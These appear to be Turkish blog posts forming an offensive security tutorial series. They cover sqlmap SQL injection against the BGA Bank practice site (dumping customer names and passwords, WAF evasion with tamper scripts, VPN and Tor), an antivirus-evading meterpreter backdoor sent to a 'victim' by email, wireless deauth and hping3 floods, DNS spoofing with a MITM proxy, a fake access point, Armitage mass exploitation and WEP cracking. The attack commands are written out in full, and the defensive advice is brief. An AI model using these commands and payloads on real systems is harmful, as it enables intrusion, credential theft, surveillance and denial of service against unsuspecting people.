SQL ENJEKSİYON

Veri tabanı ile bağlantılı olabilecek her girdi noktası enjeksiyon için kontrol edilebilir. Öncelikle burp proxy ile kontrol etmek istediğimiz sayfanın haritasını (spider) çıkartarak

enjeksiyon noktaları tesbit edilir.

Site içindeki arama noktaları, login ekranları, çağrılan sayfa adreslerindeki id=1,arama=geometri   gibi parametreler, forum alanları gibi veritabanına değer gönderen noktaların hepsi potansiyel sql enjeksiyon noktası olabilir.

Diyelimki bir girdi noktasını incelemeye aldık.( www.bgabank.com  adresindeki arama

bölümünü enjeksiyon için kullanalım. Bga Bank sitesi Bilgi Güvenliği Akademisi tarafından güvenlik testleri yapılabilmesi amacıyla oluşturulmuş bir platformdur. Ayrıca yerli olması ve benzer yabancı örneklerinin çok ötesinde olması da gurur vericidir. ipstest.bgabank.com ve waftest.bgabank.com siteleri konumuzda saldırdığımız siteye göre güvenlik uygulamalarıyla desteklenmiştir. Konuyu kavradığınızı düşündüğünüzde bu siteler üzerinden daha profesyonel testler gerçekleştirebilirsiniz.). Burp de “intercept on” açık ve browserdaki proxy ayarları doğru ayarlanmışsa resimdeki gibi arama çalıştırılırsa burp daki “intercept” üzerine arama bölümünden siteye gönderilen isteğimiz gelmiştir. Burp uygulamasındaki Repeater aracıyla bu noktaya normal bir veri gönderek sitenin cevap verip vermediğini kontrol etmeliyiz. (Resimde görüldüğü gibi arama da kullandığımız “deneme” kelimesi s1 değişkeniyle gönderilmektedir. Bu değişkenle oynayarak isteklerimize (Request) sunucudan nasıl cevaplar (Response) geldiğini görebiliriz. Şayet normal bir cevap alıyorsak bu istek sayfanı açtığımız bir txt dosyasına kayderek (uygulamada istek.txt olarak kullanılacak) sqlmap ile enjeksiyon kontrolüne başlayabiliriz.

Aslında Vpn bağlantısı yapılarak tarama yapmak hem gizlilik hem de ip nizin banlanmasına karşı güzel bir tedbir olabilir. Diyelimki enjeksiyon aradığınız site ids ya da waf gibi güvenlik uygulamaları ile korunuyorsa, yanlış yapılan bir işlem ip nizin banlanmasına sebep olabilir. Artık bundan sonra istediğiniz kadar Tamper(ilerde anlatılacak) veya başka tedbirler ile güvenliği geçmeye çalışın sonuç hep aynıdır. Bunun için güvenliği atlatmak için yaptığınız her denemede Vpn ile ip nizi değiştirmeniz gerekir.

-r ile gösterilen txt dosyasında Repeater daki isteğin (Request) içeriği bulunmaktadır.(-u ile direk adrese de enjeksiyon yapılabilir.

Sqlmap -u “isube.bgabank.com/index.php?sayfa=arama.php&s1=deneme&s2= “ –dbs -p s1 –random-agent –batch –level=3 –risk=3 –tamper=space2comment –dbms=mysql  )

–dbs   sistemde açık varsa veritabanı isimlerini almanızı sağlar

-p s1 istek içindeki enjeksiyon için kullanılan değişkendir.( Yazılmazsa istek deki tüm değişkenler enjeksiyonda kullanılır.)

–random-agent   bazı güvenlik uygulamaları agent bilgisini kontrol etmektedir. Agent bilgisi olmayan bağlantı istekleri banlanmaktadır. Sadece agent bilgisi değil tüm http header bilgisini kontrol eden uygulamalar da vardır. (Örneğin burp repeaterda gönderilen istek sorunsuz cevaplanıyor, sqlmap daki hata veriyorsa tüm headar bilgileri isteniyor olabilir.) Bu durumda sqlmap daki –header parametresi kullanılarak header bilgileri aynen kullanılabilir.

–batch bazı durumlarda çıkan yes no için sqlmap otomatik olarak cevap vererek zaman ve hız kazanmanızı sağlar.

–level=3 –risk=3   level ve risk sitenin güvenlik düzeyine göre değişebilir. Basit sitelerde güvenlik uygulaması kullanılmadığından bu parametreleri kullanmaya gerek bile kalmazken. Güvenliği yüksek sitelerde level=5 risk=3 son sınırına kadar kullanılabilir. Aslında herhangi bir enjeksiyon noktasını önce bu parametreleri kullanmadan test etmeli sonuç alamadıkça (her seferinde ip değiştirerek) level ve risk parametrelerini arttırarak denemeyi sürdürmeliyiz.

–tamper burp repeaterda gönderilen isteğin aynısını gönderdiniz ve hala bağlantınız engelleniyorsa o zaman sqlmap in payload larına alerjisi olan güvenlik uygulamalarına takılmış olma ihtimaliniz yüksektir. İşte tam bu nokta da tamper scriptleri devreye girip payloadları tanımaz hale getirerek güvenlik uygulamalarını atlatmaya çalışır. Güvenlik uygulamasının mekanizmasını bilmediğiniz sürece eldeki mevcut scriptleri kullanarak (-v 3 tavsiye edilir. Çünkü değişip gönderilen payload ın takılıp takılmadığını görmek gerekir. 404 veya 500 gibi hatalar verenler takılmış demektir.) yeniden her seferinde ip yi de değiştirerek denemek gerekir, taki payloadların karşı tarafa sorunsuz gittiğini görene kadar. Payloadlar gitmiyorsa güvenlik aşılamamış demektir. Bir de aynı ip den belli sayıda bağlantı isteğine izin veren güvenlik uygulamaları vardır. Diyelimki 100 kez sayfadan istekte bulundunuz. Güvenlik ip nizi kara listeye alarak girişlerinizi engelleyebilir. Bunun içinde tamper scriptleri içinde xforwardedfor scriptini kullanarak ip değişmiş gibi gösterebiliriz.

–dbms de ise sitenin hangi veritabanını kullandığı yazılır. Bilmiyorsak kullanmaya biliriz. Yada herseferinde mysql, oracle,mssql gibi veri tabanı adlarını sırayla deneriz.

Yukarıda kullanmadığımız parametrelerden de bahsedecek olursak.

–all şayet açık varsa herşeyi otomatik yapıp tüm verileri çıkartan bir parametre (bol vaktiniz varsa)

–crawl sitedeki get türündeki enjeksiyon noktalarını bulup otomatik olarak denemeler yapar. Aslında basit siteler için idealdir. Mesela –crawl=2 yazdığınızda site içindeki linkleri 2. seviye derinliğe kadar inceler. Enjeksiyon noktası varsa bulup açık arar. Güvenlik konularına yeni başladıysanız idealdir. Basit sitelerde açık varsa affetmez.

–flush-session yapılan her enjeksiyon sonraki denemelerde hızlı sonuçlar almak için bilgisayara kaydedilmektedir. Şayet veritabanına ulaşılmamışsa eski enjeksiyon bilgileri bu parametre ile silinerek daha sorunsuz taramalar yapılabilir.

–technique bu parametre de girilmesi düşünülen veri tabanına hangi teknik ile saldırılacağı verilebilir.

–time-sec bağlantınız yavaş ise bu değer artırılabilir. Örneğin tor üzerinden saldırı yapıldığında otomatik olarak time-sec=10 olarak ayarlanır.

–tor   –tor-type=socks5     –tor-port=9150 parametreleri ile sisteminizde tor açık ise tüm saldırıları tor üzerinden yapabilirsiniz. Vpn bağlantısı altında tor üzerinden yapılan saldırılar güvenlik  için idealdir.

–no-cast     –hex     veritabanına ulaştık ama veriler çekilemiyorsa bu seçenekleri de ayrı ayrı deneyebiliriz.

–sql-shell   sistemde açık varsa veri tabanında sql sorgulamaları yapabileceğiniz shell açılır. Kısaca sql komutlarını biliyorsanız basit sorgular ile istediğiniz herhangi bir veriyi veritabanından çekebilirsiniz.

–data enjeksiyon noktası post ile sunucuya veri gönderiyorsa bu parametrede post daki data olmalıdır. Başta anlatıldığı gibi -r istek.txt ile tarama yaparken GET, POST farketmez. Ama -u ile direk adrese enjeksiyon yapıyorsanız GET lerde sorun olmaz ama POST isteklerinde –data ile post verisini göstermelisiniz.

 

Şayet post üzerinden -u ile saldırı yapılacaksa komutumuz şöyle olmalıdır.

Sqlmap -u “isube.bgabank.com/giris.aspx”  –data=“b_musterino=12345678&b_password=densifre” –dbs                           -p b_musterino –random-agent –batch –level=3 –risk=3 –tamper=space2comment –dbms=mysql

Gelelim en başta yazdığımız    -r istek.txt ile yapılan saldırı sonucuna

available databases [6]:

[*] bga_bank_4_0

[*] honeypot

[*] information_schema

[*] mysql

[*] performance_schema

[*] phpmyadmin

Veri tabanlarını bulduk. Sıra tabloları ve kolonları çıkarmaya geldi.

root@COMPUTER:~# sqlmap -r /root/Desktop/istek.txt -D bga_bank_4_0    –tables -p s1         –random-agent –batch –level=3 –risk=3 –tamper=space2comment –dbms=mysql

 

istediğimiz tablonun istediğimiz kolonunu çıkartıyoruz.

root@COMPUTER:~# sqlmap -r /root/Desktop/istek.txt -D bga_bank_4_0 -T bnk_musteriler  –columns -p s1 –random-agent –batch –level=3  –risk=3  –tamper=space2comment      –dbms=mysql

Artık tablodan kolonlara oradan da ad, soyad ve sifrelere ulastik. Şimdi sifreleri alma zamanı

root@COMPUTER:~# sqlmap -r /root/Desktop/istek.txt -D bga_bank_4_0 -T bnk_musteriler   -C m_adi,m_soyadi,m_sifre  -p s1   –random-agent   –batch   –level=3   –risk=3   –tamper=space2comment     –dbms=mysql   –dump –start=1 –stop=50

 

Veri tabanına ulaştık diyelimki yukarıdaki gibi 6 yerine 26 tane veri tabanı çıktı ve isimlerinden ne olduğunu ne iş için kullanıldığını anlamıyorsunuz. O zaman hassas veriler için tüm veritabanında arama yapmalısınız.

root@COMPUTER:~# sqlmap -r /root/Desktop/istek.txt -p s1 –random-agent  –level=3   –risk=3  –tamper=space2comment   –dbms=mysql    –search    -C ‘password’

–search ile herhangi bir veri ismini tüm veritabanlarında aratabiliriz. Örneğimizde ‘password’ ismi veritabanlarında aratılmıştır. Yalnız arama yaparken –batch ı sildiğimi farketmişsinizdir. –search ile arama yaparken karşımıza iki seçenek çıkıyor.

–batch ile devam ederseniz   ilk seçeneği default olarak alacağından içerisinde ‘password’ geçen (mypassword gibi) verileri listeleyecektir. İkinci seçeneği seçtiğim için veri isimleri içinde sadece ‘password’ olanları listelemesini istedim.

Mysql veritabanında user tablosundaki password kolonlarının dökümü yapıldı. –search komutuntan sonra –C ‘password’ yazdığımızdan password u kolonlarda(columns) aradı. –T ‘password’ yazsaydık tüm veritabanlarındaki tablolarda kelimemizi arayacaktı.

Diyelim ki ad,soyad ve şifrelerin olduğu bölüme ulaştınız mesela 1500 kişi den oluşan geniş bir veri ile karşılaştık. Bu veriler içinden soyadı “yil” ile başlayanların dökümünü nasıl yaparız. İşte burada  –where    komutu devreye giriyor. Aynı sql deki gibi kullanabiliyoruz.

root@COMPUTER:~# sqlmap -r /root/Desktop/istek.txt -p s1    –random-agent   –level=3 –risk=3   –tamper=space2comment   –dbms=mysql   -D bga_bank_4_0                                 -T bnk_musteriler   -C m_adi,m_soyadi,m_sifre     –where=”m_soyadi like ‘yil%'”  –dump

Sqlmap parametrelerini ileri seviye incelemek isterseniz

1. http://blog.btrisk.com/2015/10/DVWA-Security-LAB-Web-Uygulama-Guvenlik-Testleri.html
2. http://blog.bga.com.tr/2013/03/szma-testlerinde-ileri-seviye-sqlmap.html
3.   http://osmanercelik.com/sqlmap-komutlari-kullanimi-ve-ornekleri/
4. https://www.trustwave.com/Resources/SpiderLabs-Blog/Sqlmap-Tricks-for-Advanced-SQL-Injection/
5. https://github.com/sqlmapproject/sqlmap/wiki/Usage

 

 

Reklamlar

Tesbit Edilemeyen Truva Atı (Undetectable Backdoor)

Tarama yaptınız, açık tesbit ettiginiz sistemler var heyecanla metasploit ekranında seçtiğiniz exploiti çalıştırarak daha önceden tanımlanmış olan payload ı karşı sisteme yüklemeye çalıştınız … Ama olmadı, sonuç hüsran…

Saldırı için düşündüğünüz sistemlerde güncel ve iyi bir antivirüs yazılımı varsa payload yüklenirken sistemden uyarıyla silinir. (firewall kurulu sistemlerde ters bağlantı ile firewall ı atlatabiliriz (reverse_tcp). ). Savunma tarafındaki bu gelişmeyi metasploit içindeki encoder leri kullanarak aşabiliriz. Encoder ler, sistemlere sızmak için kullanılan ve en basit antivirüs programlarının veri bankasında bulunan payload ları yeniden kodlayarak zararsız bir yazılım gibi gösteren işlemlerdir. Kısaca payload aynı işlemi yapar fakat içeriği antivirüs programlarını atlatmak üzere değiştirilmiştir. Fakat sadece bir encoder kullanarak yapılan yeniden kodlamalar da artık antivirüs yazılımları tarafından farkedilebilmektedir. Bunun için multi encoder denen payload ı bir den fazla encoder ile tekrar tekrar kodlayarak yeniden oluşturma işlemi yapılmaya başlanmıştır. Bu iş için yazılmış internet ortamında script ler mevcut.

Bu yazıda crypter.py adlı scripti kullanılarak “Undetectable backdoor” ile antivirüs yazılımı yüklü sistemde meterpreter konsolu açmayı göreceğiz.

Öncelikle scriptleri aşağıdaki linkden indirelim.

crypter

Dosya içinden çıkan crypter.py dosyasını text editörü ile açıp metasploit yolunu değiştiriyoruz. (sizdeki Backtrack sürümündeki yol ile gösterileni değiştirebilirsiniz. Burada görünen yol Bactrack 5 r3 deki ile aynı)

Üç dosyayı Bactrack yüklü bilgisayarda metasploit klasörüne kopyalıyoruz. Backtrack 5 (r3) de

/opt/metasploit/msf3/

Klasörü içine kopyalıyoruz. Aynı yerde konsol açılarak scriptin dogru çalışabilmesi için izinleri alıyoruz.

chmod +x crypter.py

Artık scripti çalıştırabiliriz. Konsol da

./crypter.py

Yazdığımızda aşağıdaki ekranlar ile karşılaşırız.

Buradaki ilk ekranda şayet sızmaya çalıştığımız sistem ile aynı ağda isek kendi ip adresimizi giriyoruz. Şayet saldırmayı düşündüğümüz sistem farklı bir ağda ise sadece “e” yazarak devam ediyoruz. (şayet dış ağdaki sistemlere saldırı düşünüyorsanız modeminizden gerekli port yönlendirmelerini de yapmalısınız. ) Payload seçimi keyfinize kalmış. Ben meterpreter ve reverse_tcp tercih ettim. Ardından saldırı yöntemi olarak da istediğinizi seçebilirsiniz.

Backdoor oluşturulup web server yoluna ( /var/www/ ) kaydedildi. Artık yapılması gereken kurbana ip adres:port bilgilerini içeren linki mail olarak atmak. Kurban mailine gelen linke tıkladığında konsol ekranımızda meterpreter ekranını görebiliriz. Şayet ben mail falan uğraşamam diyerek backdoor u elden bulaştırmak isterseniz.

/var/www/

yolunda sızmak için kullanılan encode edilmiş payload ı bulabilirsiniz.

Meterpreter görüldüğünde artık karşı sistem sizin 🙂 Yapılabilecekler için biraz Google ziyaret etmek yeterli.

Bu script güncellenmesi unutulmuş veya güncel de olsa yetersiz antivürüslere karşı etkili ama güncel ve etkili antivirüslerde tesbit edilmektedir. Virus Total sonuçları fena değil. 44 antivirüs programı içinden sadece 13 üne yakalanıyor.( An itibariyle güncel olanlar ). Rapor detaylarında sadece Windows un kendi güvenlik sistemine güvenilmeyeceğini de görüyoruz. ( Windows hiçbir şekilde backdoor umuzu göremiyor.) . Açıkları henüz fazlaca olmayan Windows 7 sistemler için ideal gibi 🙂

Nasıl korunuruz

1) Güncel ve etkili antivirüs
2) Bilgisayar başında olmadığınızda ekran kilidini kullanın.
3) Mailinize gelen kaynağı belirsiz linklere tıklamayın.

Küçük Şeyler

1) Wireless modeme ve evdeki internete bağlı televizyonumuza 🙂 DOS atağı yapalım.

Dos atakları genel anlamda hizmet durdurma saldırıları olarak geçer.
Backtrack de network arayüzünü monitör moda alıyoruz.

airmon-ng start wlan1 11

11. kanalda yayın yapan modeme sahip olduğum için . Sonra aireplay-ng ile monitör moda aldığımız arayüz üzerinden modem e atağa başlıyoruz.

aireplay-ng -0 100 -a modemmacadresi mon0
bu saldırı sırasında kismet programı açılıp incelendiğinde bir çok hidden ssid modeme bağlantı isteği gönderdiği görülür. Bu saldırıdan korunmak için şirket içi veya ev wifi ağlarında sinyal gücüne sınırlama getirmek gerekebilir. Korunma yöntemi için kablosuz ağların karanlık tarafı yazısına bakabilirsiniz. Dos saldırıları halen internetin en büyük kabusu.

Gelelim Hdtv televizyona dos saldırısına 🙂 internette İlkdir herhalde başka bir yerde görmedim :))
Backtrack de

hping3 –flood -S cihazipsi

saldırı sonrası benim televizyonun kumandası çalışamaz hale geldi 🙂 saldırı sonlandırılınca kumanda tuşları tepki vermeye başladı. Tabi o anda evde olanlar olayı anlayamadı kumandaya bir kaç kez vurarak çalıştırmaya gayret ettiler 🙂

2) Paros Proxy büyüksün.

Backtrack de

hping3 –rand-source –flood -p 53 modemipsi

Ya da cepten

mptcp -d modemipsi -u -F 1 -X 1300 -p 53

evdeki modem isteklere cevap veremez hale geliyor. (dns flood)
Ardından Backtrack de dnsspoof (iPhone a dsniff yüklenmiş ise oradan da dnsspoof çalıştırılabilir.) çalıştırılırsa

dnsspoof -i en0
(en0 ağ arayüzü hangisi aktif ise onu yazıyoruz). Dns yani modem isteklere cevap veremiyor. Ardından çalışan dnsspoof ağdaki dns isteklerine bizim ip mizi vererek geri gönderiyor. Yani biri http://www.bayramaltun.com un ip si nedir derse bizim ip miz gönderiliyor. Bu siteye bağlanmak isteyen bizim bilgisayarın 80 numaralı portuna istek gönderiyor. Ve işte güzeller güzeli Paros Proxy burada devreye giriyor. Paros Proxy i çalıştırdığınızda (tabi 8080 geliyor onu 80 olarak değiştirmek gerekir.) “trab request” ve “trab response” kutuları işaretli ise gelen giden tüm http trafiği kontrolünüzde demektir. Saldırı yaptığınız kişi bir sayfayı ziyaret etmek istediğinde, sizin istediginiz sayfayı karşısına çıkarabilirsiniz. Ya da clear text yazdığı mesajın içeriğini değiştirebilirsiniz.

Görüldüğü gibi son derece tehlikeli bu yüzden bilmediğiniz dns adreslerini sadece film izleyebilmek ya da izin verilmeyen siteler için kullanmak sonra da unutup önemli sitelere girmek telafisi zor bir hata olabilir. Bu saldırıdan korunmanın en kolay yolu tcp-ip ayarlarındaki dns bilgilerine internet sağlayıcımızın dns ip lerini girmeliyiz.( ttnet in 195.175.39.39 ve 195.175.39.40 )

3) Bilgisayarınızın dinlendiğini ( mitm ile ) nasıl anlarsınız

Mitm yani ortadaki adam saldırılarında genellikle ARP poisoning ( ARP spoof ) saldırıları kullanılır. Bu saldırıda hedef ( genelde ) bilgisayarınıza kayıtlı modem mac adresini değiştirmektir. İşte bu tablonun değişip değişmediğini kontrol edersek saldırıları da farkedebiliriz. Windows da kullanılan basit bir program değişimi kontrol edip bize bildiriyor. Warp watch isimli programı linkine tıklayarak indirebilirsiniz.

Programı kurup çalıştırdığınızda Windows saatinin olduğu yere küçük bir ikon yerleştiriyor ve bilgisayarınıza kayıtlı ARP tablosunu kaydederek değişiklikleri takip ediyor.

Yukarıda 192.168.1.1 ip ye sahip modem mac adresinin sürekli değiştiğini görüyorsunuz. Bu saldırı olduğu anlamına gelir. Zaten Windows saatinin olduğu yerdeki warp watch ikonu saldırı anında yanıp sönmeye başlayarak sizi uyarıyor.

Ya da yardımcı program kullanmak yerine Windows ve Mac Os da kullanılan ARP tablosunu gösteren bir konsol programı var. Her iki sistemde de komut satırında

arp -a

yazdığımızda sisteme kayıtlı ARP tablosununu gösteriyor. Buradan değişimi kontrol edebilirsiniz.

4) Fake AP ( Sahte modem )

Etraftaki kablosuz modemleri araştır dediğimizde şifresiz gördüğümüz modemler hep tebessüm ettirmiştir hepimizi. Fakat işin aslı sanıldığı kadar masum olmayabilir. Bedava bulduğunuz internet aslında deneysel amaçlı kurulmuş 🙂 sanal bir ağ da olabilir. Çok acil internet üzerinden göndermeniz gereken mailiniz var ama maalesef internetiniz doğru çalışmıyor ( Çünkü o sırada birisi modeminize DOS atağı yaparak hattınızı kullanılmaz hale getiriyor ) çevredeki modemlere baktığınızda bir de ne görüyorsunuz zavallı internetten anlamayan biri (!) modemine şifre koymayı unutmuş ( deneysel amaçlı 🙂 kurulmuş sanal ağ ) hemen bağlanıyorsunuz ve mailiniz gitti. Ama nereye gitti 🙂

Fake Ap kurmak son derece kolay bir iş Backtrack de bunun için airbase-ng programını kullanıyoruz. Ben de bu işler için kullandığım yaklaşık 1 km menzilli 7 db antenli wifly marka wireless usb bağlantılı ağ kartı var. Her ağ kartı bu işleri desteklemeyebiliyor.

Önce saldırmayı düşündüğümüz modeme dos atağı yapalım ki interneti kaybolsun. -a modem mac adresi
Bu saldırı sırasında kismet programı ( wireless programlarının kralıdır ) açılırsa 1000 ayrı mac adresinden modeme bağlantı isteği yapıldığını görebilirsiniz. Bu kadar isteğe cevap vermeye çalışan modem haliyle yorulur ve gerçekten İnternet’e ihtiyacı olanlara cevap veremez hale gelir 🙂 İşte bu sırada biz devreye girip bedava internet hizmetimizi başlatıyoruz.

-c kanal numarası , — essid modem ismi, sondaki wlan1 ise kullandığınız ağ kartının ismi ( sizdeki farklıdır ) ( airmon-ng ile bilgisayarınızdaki wifi kartları görebiliyorduk )

Tabiki daha önceden dhcp servisi ( sonraki yazılarda anlatmayı düşünüyorum )kurup yönlendirmeleri yaptığımızı varsayıyoruz. Bunlar yapılmazsa sahte modem ( Fake ap ) isteklere cevap verir ama internet olmayacağı gibi siz de istediğiniz bilgilere ulaşamazsınız.

Korunma son derece kolay bedava internetten uzak durun. Ya da düzenli olarak bağlandığınız modemlerin isimlerini ve çekim güçlerini hatırlamaya çalışın. Sahte modem ayarlanırken normal de bağlandığınız modemin adı mac adresi gibi tüm özellikleri taklit edilebilir. Korunma sadece sinyal gücünü takip etmeyle yapılabilir. Bunun için Windows da netstumbler isimli program işinize yarayabilir. .

5) USB den çalışan Bactrack

Ağ güvenliği çalısmalarında Bactrack in önemi tartışılmaz. Ama Bactrack yüklü bir bilgisayar taşımak yerine, Bactrack yüklü bir usb taşımak hem pratik hem de taktığınız bilgisayardaki hard diske ulaşma imkanı vermektedir. Yani şifre koruma ve güvenlik çoğu durumda geçilebiliyor.

program için tıklayın.

Yukarıdaki adresten Backtrack i yükleyeceğimiz programı indirelim.

Bactrack linki

Bu adresten Backtrack yükleme sayfasına ulaşabilirsiniz.

Bactrack yüklerden dikkat etmek gereken yerler var. Sisteminizin 32 yada 64 bit olmasına göre doğru tercih yapmalısınız. Ayrıca ISO yüklemesini seçmelisiniz. KDE ya da GNOME zevkinize kalmış.

Programı çalıştırdığınızda açılır menülerden “Backtrack” ve diğer menüden indirdiğiniz Backtrack sürümüne uygun seçeneği seçiyoruz. Benim seçim 32 bit gnome arayüz.

Disk image olarak “iso” ve Bactrack i indirdiğiniz klasörü de seçip USB ile dogru sürücüyü göstererek tamam dediğimizde işlem başlıyor. Hayırlı olsun artık Backtrack yüklü USB yi kullanarak istediğiniz bilgisayarda Bactrack çalıştırabilirsiniz. Benim bilgisayarda açılışta ESC tuşuna bastığımda nereden sistemi boot etmem gerektiğini soruyor. Bu menüden USB aygıtımı seçtiğimde Backtrack açılıyor. Her bilgisayarın boot etme menüsü farklı yolla çıkabilir.

I Love Armitage :)

Metasploit dünyasını otomize eden araç Armitage. Sistem de tarama yap, açıkları belirleyip gerekli exploit ve payloadları belirle ve içerdeyiz. Armitage, metasploit e bağlı olarak çalışarak tüm bu aşamaları bir kaç tıkla halletmenizi sağlar. Gelelim uygulamaya bactrack de (bactrack 5 r3) konsol açılarak

armitage

yazdığımızda çıkan ekranda connect tuşuna bastıktan sonra sırayla aşağıdaki ekranları gösterildiği gibi geçelim.

Öncelikle içinde olduğumuz ağdaki bilgisayarları tesbit etmeliyiz. Armitage menülerinden tarama işini iki şekilde halledebiliyoruz. İster nmap gibi güçlü bir tarama aracını kullanabiliyoruz, istersek de metasploit in kendi tarama modülüyle bulunduğumuz ağı keşfedebiliyoruz. Benim tavsiyem metasploidin tarama modülü. Çünkü sadece sistem açıklarının olduğu portları tarayarak size zaman kazandırır. Nmap da gerekli gereksiz tüm portlar tarandığından biraz daha uzun sürüyor işlem. Fakat vaktiniz varsa nmap tarama nın kralıdır. Ayrıca açık olan bazı bilgisayarlar msf taramasında çıkmayabilir.

İki tarama seçeneğinde de tarama yapılacak ip aralığı girilmelidir. Örneğin 192.168.2.1-30 dersek 192.168.2.1 ile 192.168.2.30 dahil tüm bilgisayarlar taranır. Ama benim tavsiyem büyük bir ağ da bulunmuyorsanız 192.168.2.0/24 ile tüm ağı kontrol etmiş olursunuz.( ip adresleri anlaşıldığı üzere benim ağıma özel sizin ağın ip numaraları farklı olabilir.)

Çevremizi artık görebiliyoruz. Kaç bilgisayar ve bunların hangi portları açık artık elimizde. İşte armitage e aşık olduğum kısımlara şimdi başlıyoruz. Yukarıdaki menülerden “Attack” menüsüne girersek. “find attack” ve “hail mary” alt menüleri çıkar karşımıza. “find attack” tıklayarak işimize başlayalım.

“Happy hunting” 🙂

Ağdaki bilgisayarları artık var olan tüm olası açıklara göre test edip istersek var olan açıkları kullanıp sisteme girebiliriz. Açıklara “attack” menüsünden ulaşıp uygulayabiliriz. (herhangi bir bilgisayar resmi üzerine tıkladığımızda attack menüsüne ulaşabiliriz.) Açık bulmamız uygulanabilir olduğu anlamına gelmez. Gerekli sistem yamaları yüklenerek açık kapatılmış olabilir. “attack” menüsünden tüm açıkları tek tek de deneyebiliriz. Ya da “check exploit” seçeneği ile tüm açıkları bizim için test etmesini sağlayabiliriz. Ama en güzeli tarama işleminden sonra “attack” menüsünden “Hail mary” yi seçersek bulunan tüm açıkları tüm bilgisayarlar için deneyip çalışan açık bulunduğunda direk sisteme gireriz. Kısaca “Hail mary” yapılacak tüm işlemleri tek tıkla halletmemizi sağlar.

Ağı kontrol ettiniz ama hiç bir açık bulamadınız. Yani tüm sistemler firewall ile korunmakta ve portlar koruma altında. O zaman yapılacak şey belli, kendi payload ımizi yaparak sızmayı düşündüğümüz sisteme bulaştırmalıyız. Önce payload oluşturmayı sonrasında bu payload in calışması sırasında bağlantıyı sağlayacak işlemleri tek tek anlatalım.

Payload lar arasından “reverse_tcp” payload ını seçerek (payload/windows/meterpreter/reverse_tcp) ayarlamalarını yapalım ve payload ı çalıştırılabilir “exe” dosyasına dönüştürelim. Menüden payload içinden “reverse_tcp” yi seçip tıkladığımızda aşağıdaki ekran ile karşılaşırız.

Açılır menüden “multi/handler” seçilip “launch” tıklanırsa bilgisayarımızda çalışan, karşı taraftaki payload ile bağlantı kuran programı çalıştırmış oluruz. Yine “reverse_tcp” payload ını seçerek bu sefer açılır menüden “exe” yi seçerek “launch” tıklarsak, sızmaya çalıştığımız sistemde çalıştıracağımız payload ımizi çalıştırılabilir dosya halinde masaüstüne oluştururuz. Artık yapmamız gereken bu dosyayı bir usb ile ya da mail ile karşı sisteme gönderip çalısmasını sağlamak. Payload ımiz karşı sistemde çalısmaya başlayınca aşağıdaki ekran ile meterpreter konsoluna ulaşmış oluruz.

Artık karşı sisteme girmiş bulunmaktayız. Meterpreter ile karşı sistemde basılan tüm tuşları kaydedebilir, bilgisayar microfonu ile ortam dinlemesi yapabilir, istediğimiz anda ekran görüntüsünü elde edebiliriz, kısaca karşı bilgisayar herşeyiyle önümüzdedir. Meterpreter ile yapılabilecekler ile ilgili internette yeterince bilgi vardır.

Metasploit tehlikesinden nasıl kurtuluruz. Savunma her zamanki gibi aynı ve çok kolay

1) Sürekli güncellenen antivirüs programı
2) Güvenlik duvarı (güvenlik duvarı Windows un milletin beğenmediği güvenlik duvarı bile olabilir)
3) Güncellenmiş işletim sistemi

Kablosuz Ağlar da Savunma ve Saldırı

Kablosuz ağlar kolay kurulum ve yönetim sağladığından fazlasıyla hayatımıza girmeye başladı. Artık cepte, evde heryerde kablosuz ağ kullanır olduk. Ama İnternet’e de tehlikeli yanlarını göz ardı ederek saldırdığımız gibi kablosuz ağları da tehlikeli yanlarını görmeden hızla tüketmeye başladık. Bu yazıda kablosuz ağlarda kullanılan modemlerin şifrelerini bulmak ve buna karşı savunma yöntemleri anlatılacak. Yazının sonunda savunmanın ne kadar kolay ve basit saldırının ise teknik bilgi istediğini göreceksiniz. Her iki tarafa da kolay gelsin 🙂

Savunma tarafında modem için seçilecek şifreye ve şifreleme yöntemine dikkat etmek yeterli. Modem ayarlarında ( yerini bilmiyorsanız çevrenizde mutlaka bilen birileri vardır. Ya da en güzeli öğrenin ) şifreleme yöntemi olarak Web, Wpa ve Wpa2 vardır. Bunlardan Web i asla kullanmayın. 64 bit , 128 bit hiç fark etmiyor 10 dk da kırılabiliyor. Wpa2 kullanılırsa Aes in seçili olmasına dikkat edin. Modeminiz biraz eski ve Wpa2 yi desteklemiyorsa Wpa kullanmak zorundasınız. Bu da iyidir ama güçlü bir şifre seçmelisiniz. En az sekiz rakam dört harf den oluşan anlamsız bir şifreyi çözmek neredeyse imkansız.

Özetlersek, Web asla kullanılmayacak, Wpa2 ya da Wpa ama güçlü anlamsız bir şifreyle. Bu şekilde ayarlarmış bir kablosuz ağa girmek neredeyse imkansızdır. Bu kadar basit.

WEB ŞİFRELERİ

Gelelim saldırı cephesine. Biraz teknik bilgi baya bir sabırla aşılmayacak engel yoktur. Öncelikle Web şifreleri nasıl 10 dk da kırılır bunu görelim.

Saldırı cephesinin vazgeçilmezi Backtrack dir elbette. Backtrack kurulu bilgisayarda (ben de küçük bir 4 gb lik Backtrack yüklü usb var. Tüm bilgisayarlar bana Backtrack ) önce airmon-ng programı ile ağ kartını monitör yani dinleme moduna alıyoruz.

Kullandığımız ağ kartımızın ismini buluyoruz.

sizdeki kart isimleri farklı olabilir. Ardından airodump-ng programı ile web şifreli modemimizi buluyoruz. Komut satırına

airodump-ng mon0

Buradaki mon0 benim ağ kartımın ( wlan0 ) monitör modda kullanılacak ismi.( yukarıdaki şekillere dikkat, sizinki farklı olabilir )

İki blokdan oluşan şekilde üstteki blokda çevremizde yayın yapan modemleri, alttaki blokda onlarla bağlantı kuran veya bağlantısız kablosuz kartı olan bilgisayarları görüyoruz. Biz deneysel amaçlı kurulmuş “web” şifrelemesi kullanan “modem” e bulaşmayı düşünüyoruz 🙂 Komut satırında

airodump-ng -c 11 -w dosyaismi – -bssid modemmacadresi mon0

yazdığımızda sadece takip etmek istediğimiz modemi dinlemeye almış oluruz. Web şifrelerini kırabilmek için modeme bağlantı yapan bir bilgisayar ve aralarında olusan trafiğe ihtiyac vardır. Şayet bağlantı yapan bilgisayar yoksa sanal bir bağlantı oluşturup yine sanal trafik de oluşturabiliriz. Yukarıdaki şekilde (üst blok) “Data” yazan yerin altındaki rakam önemli. Yapılan trafik miktarı 100000 i bulduğunda şifrenin kırılması için yeterince “ivs” toplamışız demektir. Fakat airodump açıldığında bağlantılı bilgisayarda olsa bu trafik yavaş ilerler ancak bir günde bu kadar veriyi toplayabiliriz. Modemi aldatarak trafiği hızlandırmalıyız. Bunun için airodump-ng çalışırken aireplay-ng programını kullanıyoruz.

